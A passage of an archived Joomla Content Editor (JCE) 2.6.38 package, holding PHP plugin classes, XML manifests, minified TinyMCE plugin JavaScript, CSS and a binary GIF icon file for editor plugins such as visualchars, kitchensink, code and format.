              <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
            </select>
        </div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="dir"><?php echo WFText::_('WF_XHTMLXTRAS_ATTRIBUTE_LABEL_LANGDIR'); ?></label>
        <div class="uk-form-controls uk-width-8-10"><select id="dir">
                <option value=""><?php echo WFText::_('WF_OPTION_NOT_SET'); ?></option>
                <option value="ltr"><?php echo WFText::_('WF_XHTMLXTRAS_ATTRIBUTE_OPTION_LTR'); ?></option>
                <option value="rtl"><?php echo WFText::_('WF_XHTMLXTRAS_ATTRIBUTE_OPTION_RTL'); ?></option>
            </select></div>
    </div>
    <div class="uk-form-row">
        <label class="uk-form-label uk-width-2-10" for="lang"><?php echo WFText::_('WF_XHTMLXTRAS_ATTRIBUTE_LABEL_LANGCODE'); ?></label>
        <div class="uk-form-controls uk-width-8-10"><input id="lang" type="text" value="" />
        </div>
    </div>
    <?php
    if ($this->plugin->isHTML5()) :
        echo $this->loadTemplate('html5');
    endif;
    ?>
editor/tiny_mce/plugins/xhtmlxtras/index.html000060400000000054150750527140015536 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/xhtmlxtras/classes/index.html000060400000000054150750527140017173 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/xhtmlxtras/classes/xhtmlxtras.php000060400000003034150750527140020126 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
require_once WF_EDITOR_LIBRARIES.'/classes/plugin.php';

class WFXHTMLXtrasPlugin extends WFEditorPlugin
{
    public function getElementName()
    {
        return JRequest::getWord('element', 'attributes');
    }

    public function isHTML5()
    {
        return $this->getParam('editor.schema', 'mixed') !== 'html4';
    }

    /**
     * Display the plugin.
     */
    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();
        $element = $this->getElementName();

        $document->setTitle(WFText::_('WF_'.strtoupper($element).'_TITLE'));

        $document->addScript(array('xhtmlxtras'), 'plugins');
        $document->addStyleSheet(array('xhtmlxtras'), 'plugins');

        $document->addScriptDeclaration('XHTMLXtrasDialog.settings='.json_encode($this->getSettings()).';');

        $tabs = WFTabs::getInstance(array('base_path' => WF_EDITOR_PLUGIN));

        $tabs->addTab('standard', 1, array('plugin' => $this));

        if ($element == 'attributes') {
            $tabs->addTab('events');
        }
    }
}
editor/tiny_mce/plugins/visualchars/visualchars.xml000060400000001637150750527140016725 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="visualchars" core="1" editable="1">
	<name>WF_VISUALCHARS_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_VISUALCHARS_DESC</description>
	<icon>visualchars</icon>
	<params>
            <param name="state" type="list" default="1" label="WF_LABEL_STATE" description="WF_LABEL_STATE_DESC">
	      <option value="1">WF_OPTION_ON</option>
	      <option value="0">WF_OPTION_OFF</option>
	    </param>
        </params>
	<help>
		<topic key="visualchars.about" title="WF_VISUALCHARS_HELP_ABOUT" />
	</help>
	<languages></languages>
</install>editor/tiny_mce/plugins/visualchars/classes/index.html000060400000000054150750527140017301 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/visualchars/classes/config.php000060400000001420150750527140017260 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFVisualcharsPluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

                // legacy
                $state = $wf->getParam('editor.visualchars', 0);

        $settings['visualchars_default_state'] = $wf->getParam('editor.visualchars_state', $state, 0, 'boolean');
    }
}
editor/tiny_mce/plugins/visualchars/index.html000060400000000054150750527140015644 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/visualchars/editor_plugin.js000060400000004741150750527140017060 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){tinymce.create("tinymce.plugins.VisualChars",{init:function(ed,url){var self=this;self.editor=ed;var state=tinymce.util.Cookie.get("wf_visualchars_state");state=tinymce.is(state,"string")?parseFloat(state):ed.getParam("visualchars_default_state",0),ed.onInit.add(function(){ed.controlManager.setActive("visualchars",state),self._toggleVisualChars(state)}),ed.addButton("visualchars",{title:"visualchars.desc",cmd:"mceVisualChars"}),ed.onExecCommand.add(function(ed,cmd,ui,v,o){"mceNonBreaking"===cmd&&self._toggleVisualChars(state)}),ed.addCommand("mceVisualChars",function(){state=!state,ed.controlManager.setActive("visualchars",state),self._toggleVisualChars(state),ed.getParam("use_cookies",1)&&tinymce.util.Cookie.set("wf_visualchars_state",state?1:0)},self),ed.onKeyUp.add(function(ed,e){state&&13==e.keyCode&&self._toggleVisualChars(state)}),ed.onPreProcess.add(function(ed,o){o.get&&self._toggleVisualChars(!1,o.node)}),ed.onSetContent.add(function(ed,o){self._toggleVisualChars(state)})},_toggleVisualChars:function(state,o){function wrapCharWithSpan(value){return'<span data-mce-bogus="1" class="mce-item-'+charMap[value]+'">'+value+"</span>"}function compileCharMapToRegExp(){var key,regExp="";for(key in charMap)regExp+=key;return new RegExp("["+regExp+"]","g")}function compileCharMapToCssSelector(){var key,selector="";for(key in charMap)selector&&(selector+=","),selector+="span.mce-item-"+charMap[key];return selector}function isNode(n){return 3===n.nodeType&&!ed.dom.getParent(n,".mce-item-nbsp, .mce-item-shy")}var node,nodeList,i,nodeValue,div,charMap,visualCharsRegExp,ed=this.editor,body=o||ed.getBody();ed.selection;if(charMap={" ":"nbsp","­":"shy"},visualCharsRegExp=compileCharMapToRegExp(),state)for(nodeList=[],tinymce.walk(body,function(n){isNode(n)&&n.nodeValue&&visualCharsRegExp.test(n.nodeValue)&&nodeList.push(n)},"childNodes"),i=0;i<nodeList.length;i++){for(nodeValue=nodeList[i].nodeValue,nodeValue=nodeValue.replace(visualCharsRegExp,wrapCharWithSpan),div=ed.dom.create("div",null,nodeValue);node=div.lastChild;)ed.dom.insertAfter(node,nodeList[i]);ed.dom.remove(nodeList[i])}else for(nodeList=ed.dom.select(compileCharMapToCssSelector(),body),i=nodeList.length-1;i>=0;i--)ed.dom.remove(nodeList[i],1)}}),tinymce.PluginManager.add("visualchars",tinymce.plugins.VisualChars)}();editor/tiny_mce/plugins/kitchensink/index.html000060400000000054150750527140015632 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/kitchensink/editor_plugin.js000060400000002464150750527140017046 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var DOM=(tinymce.each,tinymce.util.Cookie,tinymce.DOM);tinymce.create("tinymce.plugins.KitchenSink",{init:function(ed,url){function toggle(){var row=DOM.getParents(ed.id+"_kitchensink",".mceToolbarRow");if(row){for(var n=DOM.getNext(row[0],".mceToolbarRow");n;)DOM.isHidden(n)?(DOM.setStyle(n,"display",""),state=!0):(DOM.hide(n),state=!1),n=DOM.getNext(n,".mceToolbarRow");h=s.height||el.style.height||el.offsetHeight,h&&DOM.setStyle(ed.id+"_ifr","height",h),ed.controlManager.setActive("kitchensink",state)}}var state=!1,h=0,el=ed.getElement(),s=ed.settings;ed.addCommand("mceKitchenSink",toggle),ed.addButton("kitchensink",{title:"kitchensink.desc",cmd:"mceKitchenSink"}),ed.onPostRender.add(function(ed,cm){return DOM.get("mce_fullscreen")?void(state=!0):void toggle()}),ed.onInit.add(function(ed){ed.controlManager.setActive("kitchensink",state)})},getInfo:function(){return{longname:"Kitchen Sink",author:"Ryan Demmer",authorurl:"http://www.joomlacontenteditor.net/",infourl:"http://www.joomlacontenteditor.net/",version:"@@version@@"}}}),tinymce.PluginManager.add("kitchensink",tinymce.plugins.KitchenSink)}();editor/tiny_mce/plugins/kitchensink/kitchensink.xml000060400000001270150750527140016672 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="kitchensink" core="1" editable="0">
	<name>WF_KITCHENSINK_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_KITCHENSINK_DESC</description>
	<icon>kitchensink</icon>
	<params></params>
	<help>
		<topic key="visualblocks.about" title="WF_KITCHENSINK_HELP_ABOUT" />
	</help>
	<languages></languages>
</install>editor/tiny_mce/plugins/code/css/index.html000060400000000054150750527140015022 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/code/css/content.css000060400000001467150750527140015222 0ustar00.mce-item-php,.mce-item-script,.mce-item-style,.mcePhp,style[data-mce-type="text/css"]{display:inline-block;width:20px;height:22px;background-image:url(../../../../libraries/img/ext.png);background-repeat:no-repeat;user-select:all;-webkit-user-select:all;-webkit-user-modify:read-only;-moz-user-select:all;-moz-user-modify:read-only;cursor:pointer;font-size:0;line-height:0;letter-spacing:normal;word-spacing:normal;text-indent:-9999px;margin:0;padding:0;border:0}.mce-item-php,.mcePhp{background-position:0 -100px}.mce-item-script{background-position:0 -220px}.mce-item-style,style[data-mce-type="text/css"]{background-position:0 -420px}.mce-item-php.mce-item-selected,.mce-item-script.mce-item-selected,.mce-item-style.mce-item-selected,.mcePhp.mce-item-selected,style.mce-item-selected{background-color:#b4d4ff;border:0}editor/tiny_mce/plugins/code/classes/config.php000060400000002663150750527140015660 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
class WFCodePluginConfig
{
    public static function getConfig(&$settings)
    {
        $wf = WFEditor::getInstance();

        if (!in_array('code', $settings['plugins'])) {
            $settings['plugins'][] = 'code';
        }

        $settings['code_php'] = $wf->getParam('editor.allow_php', 0, 0, 'boolean');
        $settings['code_script'] = $wf->getParam('editor.allow_javascript', 0, 0, 'boolean');
        $settings['code_style'] = $wf->getParam('editor.allow_css', 0, 0, 'boolean');

        $settings['code_cdata'] = $wf->getParam('editor.cdata', 1, 1, 'boolean');

        $settings['code_protect_shortcode'] = $wf->getParam('editor.protect_shortcode', 0, 0, 'boolean');

        $remove = array();

        // Invalid Elements
        if ($settings['code_script']) {
            $remove[] = 'script';
        }

        if ($settings['code_style']) {
            $remove[] = 'style';
        }

        $settings['invalid_elements'] = array_diff($settings['invalid_elements'], $remove);
    }
}
editor/tiny_mce/plugins/code/classes/index.html000060400000000054150750527140015667 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/code/index.html000060400000000054150750527140014232 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/code/editor_plugin.js000060400000017631150750527140015450 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){function clean(s){return s=s.replace(/^(\/\/ <!\[CDATA\[)/gi,""),s=s.replace(/(\n\/\/ \]\]>)$/g,""),s=s.replace(/^(<!--\n)/g,""),s=s.replace(/(\n-->)$/g,"")}var each=tinymce.each,JSON=tinymce.util.JSON,Node=tinymce.html.Node,VK=(tinymce.html.Entities,tinymce.VK),BACKSPACE=VK.BACKSPACE,DELETE=VK.DELETE;tinymce.create("tinymce.plugins.CodePlugin",{init:function(ed,url){function isCode(n){return ed.dom.is(n,'.mce-item-script, .mce-item-style, .mce-item-php, .mcePhp, style[data-mce-type="text/css"]')}var self=this;this.editor=ed,this.url=url,ed.onNodeChange.add(function(ed,cm,n,co){ed.dom.removeClass(ed.dom.select(".mce-item-selected"),"mce-item-selected"),isCode(n)&&ed.dom.addClass(n,"mce-item-selected")}),ed.onKeyDown.add(function(ed,e){e.keyCode!==BACKSPACE&&e.keyCode!==DELETE||self._removeCode(e)}),ed.onPreInit.add(function(){ed.getParam("code_script")&&(ed.settings.allow_script_urls=!0),ed.parser.addNodeFilter("script",function(nodes){for(var i=0,len=nodes.length;i<len;i++)self._serializeSpan(nodes[i])}),ed.parser.addNodeFilter("noscript",function(nodes){for(var i=0,len=nodes.length;i<len;i++)self._serializeNoScript(nodes[i])}),ed.parser.addNodeFilter("pre",function(nodes){for(var i=0,len=nodes.length;i<len;i++){var node=nodes[i],cls=node.attr("class");/mce-item-curlycode/.test(cls)&&node.unwrap()}}),ed.serializer.addNodeFilter("script,div,span,pre",function(nodes,name,args){for(var i=0,len=nodes.length;i<len;i++){var node=nodes[i],cls=node.attr("class");"span"==name&&/mce-item-script/.test(cls)&&self._buildScript(node),"span"==name&&/mce-item-style/.test(cls)&&self._buildStyle(node),"pre"===name&&/mce-item-shortcode/.test(cls)&&node.unwrap(),"div"==name&&"noscript"==node.attr("data-mce-type")&&self._buildNoScript(node)}}),ed.serializer.addNodeFilter("style",function(nodes,name,args){for(var node,value="",i=0,len=nodes.length;i<len;i++){node=nodes[i],node.attr("type",node.attr("data-mce-type")||"text/css"),node.firstChild&&(value=node.firstChild.value,value=clean(value),node.empty());var text=new Node("#text",3);text.raw=!0,text.value=tinymce.trim(value),node.append(text)}}),ed.plugins.clipboard&&ed.onPastePreProcess.add(function(ed,o){ed.settings.preformat_code_on_paste&&(o.content=o.content.replace(/<(script|style)([^>]+)>([\s\S]+?)<\/\1>/gi,function(a,b){return a=a.replace(/<br\/?>/gi,"\n"),"<pre>"+ed.dom.encode(a)+"</pre>"}),o.content=o.content.replace(/<\?(php)?([\s\S]+?)\?>/gi,function(a,b,c){return a=a.replace(/<br\/?>/gi,"\n"),"<pre>"+ed.dom.encode(a)+"</pre>"}))})}),ed.onInit.add(function(){ed.theme&&ed.theme.onResolveName&&ed.theme.onResolveName.add(function(theme,o){var cls=o.node.className;"span"===o.name&&(/mce-item-script/.test(cls)&&(o.name="script"),/mce-item-style/.test(cls)&&(o.name="style"),/mce-item-php/.test(cls)&&(o.name="php")),"pre.mce-item-shortcode"===o.name&&(o.name="shortcode")}),ed.settings.content_css!==!1&&ed.dom.loadCSS(url+"/css/content.css")}),ed.onBeforeSetContent.add(function(ed,o){if(ed.settings.code_protect_shortcode&&(o.content=o.content.replace(/\{([\w-]+)([^\}]*?)\}(?:([\s\S]+?)\{\/\1\})?/g,function(match,tag,attribs,content){var data="{"+tag+attribs+"}";return content&&(/</.test(content)&&(content=ed.dom.encode(content)),data+=content,data+="{/"+tag+"}"),'<pre class="mce-item-shortcode">'+data+"</pre>"})),/<(\?|script|style)/.test(o.content)){if(ed.getParam("code_script")||(o.content=o.content.replace(/<script[^>]*>([\s\S]*?)<\/script>/gi,"")),ed.getParam("code_style")||(o.content=o.content.replace(/<style[^>]*>([\s\S]*?)<\/style>/gi,"")),ed.getParam("code_php")||(o.content=o.content.replace(/<\?(php)?([\s\S]*?)\?>/gi,"")),o.source)return;o.content=o.content.replace(/\="([^"]+?)"/g,function(a,b){return b=b.replace(/<\?(php)?(.+?)\?>/gi,function(x,y,z){return"{php:start}"+ed.dom.encode(z)+"{php:end}"}),'="'+b+'"'}),/<textarea/.test(o.content)&&(o.content=o.content.replace(/<textarea([^>]*)>([\s\S]*?)<\/textarea>/gi,function(a,b,c){return c=c.replace(/<\?(php)?(.+?)\?>/gi,function(x,y,z){return"{php:start}"+ed.dom.encode(z)+"{php:end}"}),"<textarea"+b+">"+c+"</textarea>"})),o.content=o.content.replace(/<([^>]+)<\?(php)?(.+?)\?>([^>]*?)>/gi,function(a,b,c,d,e){return" "!==b.charAt(b.length)&&(b+=" "),"<"+b+'data-mce-php="'+d+'" '+e+">"}),o.content=o.content.replace(/<\?(php)?([\s\S]+?)\?>/gi,'<span class="mcePhp" data-mce-type="php"><!--$2--> </span>'),o.content=o.content.replace(/<script([^>]+)><\/script>/gi,"<script$1> </script>"),o.content=o.content.replace(/<(script|style)([^>]*)>/gi,function(a,b,c){if(c.indexOf("data-mce-type")===-1)if(c.indexOf("type")===-1){var type="script"===b?"javascript":"css";c+=' data-mce-type="text/'+type+'"'}else c=c.replace(/type="([^"]+)"/i,'data-mce-type="$1"');return"<"+b+c+">"})}}),ed.onPostProcess.add(function(ed,o){o.get&&!o.source&&(/(mce-item-php|mcePhp|data-mce-php|\{php:start\})/.test(o.content)&&(o.content=o.content.replace(/\{php:\s?start\}([^\{]+)\{php:\s?end\}/g,function(a,b){return"<?php"+ed.dom.decode(b)+"?>"}),o.content=o.content.replace(/<textarea([^>]*)>([\s\S]*?)<\/textarea>/gi,function(a,b,c){return/&lt;\?php/.test(c)&&(c=ed.dom.decode(c)),"<textarea"+b+">"+c+"</textarea>"}),o.content=o.content.replace(/data-mce-php="([^"]+?)"/g,function(a,b){return"<?php"+ed.dom.decode(b)+"?>"}),o.content=o.content.replace(/<span class="mcePhp"><!--([\s\S]*?)-->(&nbsp;|\u00a0)?<\/span>/g,function(a,b,c){return"<?php"+ed.dom.decode(b)+"?>"})),o.content=o.content.replace(/<(script|style)([^>]*)>/gi,function(a,b,c){return c=c.replace(/\s?data-mce-type="[^"]+"/gi,""),"<"+b+c+">"}))})},_removeCode:function(e){var ed=this.editor,s=ed.selection,n=s.getNode();ed.dom.is(n,'.mce-item-script, .mce-item-style, .mce-item-php, .mce-item-php, style[data-mce-type="text/css"]')&&(ed.undoManager.add(),ed.dom.remove(n),e&&e.preventDefault())},_buildScript:function(n){var v,node,text,p;this.editor;if(n.parent)return n.firstChild&&(v=n.firstChild.value),p=JSON.parse(n.attr("data-mce-json"))||{},p.type=n.attr("data-mce-type")||p.type||"text/javascript",node=new Node("script",1),v&&(v=tinymce.trim(v),v&&(text=new Node("#text",3),text.raw=!0,"text/javascript"===p.type&&(v=clean(tinymce.trim(v))),text.value=v,node.append(text))),each(p,function(v,k){"type"===k&&(v=v.replace(/mce-/,"")),node.attr(k,v)}),node.attr("data-mce-type",p.type),n.replace(node),!0},_buildStyle:function(n){var v,node,text,p;this.editor;if(n.parent)return n.firstChild&&(v=n.firstChild.value),p=JSON.parse(n.attr("data-mce-json"))||{},p.type||(p.type="text/css"),node=new Node("style",1),v&&(v=tinymce.trim(v),v&&(text=new Node("#text",3),text.raw=!0,v=clean(tinymce.trim(v)),text.value=v,node.append(text))),each(p,function(v,k){"type"===k&&(v=v.replace(/mce-/,"")),node.attr(k,v)}),node.attr("data-mce-type",p.type),n.replace(node),!0},_buildNoScript:function(n){var p,node;this.editor;if(n.parent)return p=JSON.parse(n.attr("data-mce-json"))||{},node=new Node("noscript",1),each(p,function(v,k){node.attr(k,v)}),n.wrap(node),n.unwrap(),!0},_serializeSpan:function(n){var v,ed=this.editor,p=(ed.getDoc(),ed.dom,{});if(n.parent){each(n.attributes,function(at){at.name.indexOf("data-mce-")===-1&&(p[at.name]=at.value)});var span=new Node("span",1);if(span.attr("class","mce-item-"+n.name),span.attr("data-mce-json",JSON.serialize(p)),span.attr("data-mce-type",n.attr("data-mce-type")||p.type),v=n.firstChild?n.firstChild.value:"",v.length){var text=new Node("#comment",8);text.value=clean(v),span.append(text)}span.append(new tinymce.html.Node("#text",3)).value=" ",n.replace(span)}},_serializeNoScript:function(n){var ed=this.editor,p=(ed.dom,{});if(n.parent){each(n.attributes,function(at){"type"!=at.name&&(p[at.name]=at.value)});var div=new Node("div",1);div.attr("data-mce-json",JSON.serialize(p)),div.attr("data-mce-type",n.name),n.wrap(div),n.unwrap()}}}),tinymce.PluginManager.add("code",tinymce.plugins.CodePlugin)}();editor/tiny_mce/plugins/code/img/index.html000060400000000054150750527140015006 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/code/img/icons.gif000060400000033226150750527140014622 0ustar00GIF89a<��������������������������������������������������������������������������������������������׸�׺�ַ�ն�Ե�Ӳ����ӳ�ұ�Ұ�ү�Э�Ϫ����Ω�ͧ����ͩ�ˤ�ʢ�ʣ�ɡ����ǟ�Ǟ�ǝ�Ɲ�Ŝ�ŝ����ě�ś�Ú�Ě�×�Ø�—��������������������������ս�����������������������������������}��Ͱ�y���p�ꫫl��q��m��h��j��b��c_�袢]��\��Z��V��Q��R^�䐑���O��L��K��J��G��C[�ׂ����;qr�UW����!�XMP DataXMP<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c034 46.272976, Sat Jan 27 2007 22:37:37        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xap="http://ns.adobe.com/xap/1.0/">
         <xap:CreatorTool>Adobe Fireworks CS3</xap:CreatorTool>
         <xap:CreateDate>2007-01-04T22:10:31Z</xap:CreateDate>
         <xap:ModifyDate>2009-01-18T12:12:02Z</xap:ModifyDate>
      </rdf:Description>
      <rdf:Description rdf:about=""
            xmlns:dc="http://purl.org/dc/elements/1.1/">
         <dc:format>image/gif</dc:format>
      </rdf:Description>
   </rdf:RDF>
</x:xmpmeta>
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                                                                                                    
                            
<?xpacket end="w"?>�������������������������������������������������������������������������������������������������������������������������������~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<:9876543210/.-,+*)('&%$#"! 

	!�},<��}��������0����0
��
9��0�
�����
����9^{{||{`��0�^�|"������P|3"P���^‚����3y|��}��3�߱��q|
"^�P�q�y���y��qپyȨ�	�d� %�}��P��J
zpD�Q��3j��Q��4m�d��B�P�
5��S��yr���8u��I�*\�<#�cĈ'X�x�F
D����B,x`�I�L��Ȑ�BQ��D$��2,���S���:��p�I�V�t�&8�a�[�L��*%J�H�B%K�.wF�S�6l޼��ێ���>>���т&�tt�����3~ٜ�Ò4��%�T��0W��.I�'��r�I L�
+Y
lg}{��Am#�"�zg��*q#��l��Gp� THx���`+p�a��!�p"�C
����-Rt4�;editor/tiny_mce/plugins/format/editor_plugin.js000060400000010501150750527140016013 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var VK=tinymce.VK,each=tinymce.each,blocks=(tinymce.map,[]);tinymce.create("tinymce.plugins.FormatPlugin",{init:function(ed,url){var self=this;this.editor=ed,ed.onPreInit.add(function(ed){each(ed.schema.getBlockElements(),function(v,k){blocks.push(k.toLowerCase())}),ed.formatter.register("aside",{block:"aside",remove:"all",wrapper:!0}),ed.formatter.register("figure",{block:"figure",remove:"all",wrapper:!0}),ed.formatter.register("div",{block:"div"}),ed.formatter.register("div_container",{block:"div",wrapper:!0}),ed.formatter.register("span",{inline:"span",remove:"all"}),ed.formatter.register("section",{block:"section",remove:"all",wrapper:!0,merge_siblings:!1}),ed.formatter.register("article",{block:"article",remove:"all",wrapper:!0,merge_siblings:!1}),ed.formatter.register("footer",{block:"footer",remove:"all",wrapper:!0,merge_siblings:!1}),ed.formatter.register("header",{block:"header",remove:"all",wrapper:!0,merge_siblings:!1}),ed.formatter.register("nav",{block:"nav",remove:"all",wrapper:!0,merge_siblings:!1}),ed.formatter.register("code",{inline:"code",remove:"all"}),ed.formatter.register("samp",{inline:"samp",remove:"all"}),ed.formatter.register("blockquote",{block:"blockquote",wrapper:1,remove:"all",merge_siblings:!1})}),ed.settings.removeformat=[{selector:"b,strong,em,i,font,u,strike,sub,sup,dfn,code,samp,kbd,var,cite,mark,q,footer",remove:"all",split:!0,expand:!1,block_expand:!0,deep:!0}],ed.onKeyDown.add(function(ed,e){e.keyCode!==VK.ENTER&&e.keyCode!==VK.UP||!e.altKey||self._clearBlocks(ed,e)}),ed.onKeyUp.addToTop(function(ed,e){if(e.keyCode===VK.ENTER){var n=ed.selection.getNode();"DIV"===n.nodeName&&ed.settings.force_p_newlines&&(ed.settings.keep_styles===!1&&ed.dom.removeAllAttribs(n),ed.formatter.apply("p"))}}),ed.onBeforeExecCommand.add(function(ed,cmd,ui,v,o){var p,se=ed.selection,n=se.getNode();switch(cmd){case"FormatBlock":if(!v){if(o.terminate=!0,n===ed.getBody())return;if(ed.undoManager.add(),p=ed.dom.getParent(n,blocks.join(","))||""){var name=p.nodeName.toLowerCase();"figure"===name&&ed.dom.remove(ed.dom.select("figcaption",p)),ed.formatter.get(name)&&ed.formatter.remove(name)}var cm=ed.controlManager.get("formatselect");cm&&cm.select(p)}if("dt"!==v&&"dd"!==v||(n&&!ed.dom.getParent(n,"dl")&&ed.execCommand("InsertDefinitionList"),"dt"===v&&"DD"===n.nodeName&&ed.dom.rename(n,"DT"),"dd"===v&&"DT"===n.nodeName&&ed.dom.rename(n,"DD"),o.terminate=!0),"figure"===v){var fig=ed.dom.getParent(n,"figure");fig&&ed.dom.remove(ed.dom.select("figcaption",fig))}break;case"RemoveFormat":if(!v&&!ed.dom.isBlock(n)){var cm=ed.controlManager.get("styleselect");cm&&cm.selectedValue&&ed.execCommand("mceToggleFormat",!1,cm.selectedValue)}break;case"mceToggleFormat":if("figure"===v){var fig=ed.dom.getParent(n,"figure");fig&&ed.dom.remove(ed.dom.select("figcaption",fig))}}}),ed.onExecCommand.add(function(ed,cmd,ui,v,o){var se=ed.selection,n=se.getNode();switch(cmd){case"mceToggleFormat":"dt"!==v&&"dd"!==v||"DL"===n.nodeName&&0===ed.dom.select("dt,dd",n).length&&ed.formatter.remove("dl");break;case"FormatBlock":}}),ed.onKeyDown.add(function(ed,e){var isDelete,rng,container;if(isDelete=e.keyCode==VK.DELETE,!e.isDefaultPrevented()&&(isDelete||e.keyCode==VK.BACKSPACE)&&!VK.modifierPressed(e)&&(rng=ed.selection.getRng(),container=rng.startContainer,offset=rng.startOffset,collapsed=rng.collapsed,"FIGCAPTION"!=container.nodeName||container.nodeValue&&0!==container.nodeValue.length||e.preventDefault(),3===container.nodeType&&!collapsed&&!offset)){var figcaption=ed.dom.getParent(container,"FIGCAPTION");if(figcaption){for(;figcaption.firstChild;)figcaption.removeChild(figcaption.firstChild);e.preventDefault()}}})},_clearBlocks:function(ed,e){var p,n=ed.selection.getNode();if(p=ed.dom.getParents(n,blocks.join(",")),p&&p.length>1){var tag=ed.getParam("forced_root_block","p");tag||(tag=ed.getParam("force_p_newlines")?"p":"br"),e.preventDefault();var block=p[p.length-1];if(block===ed.getBody())return;var 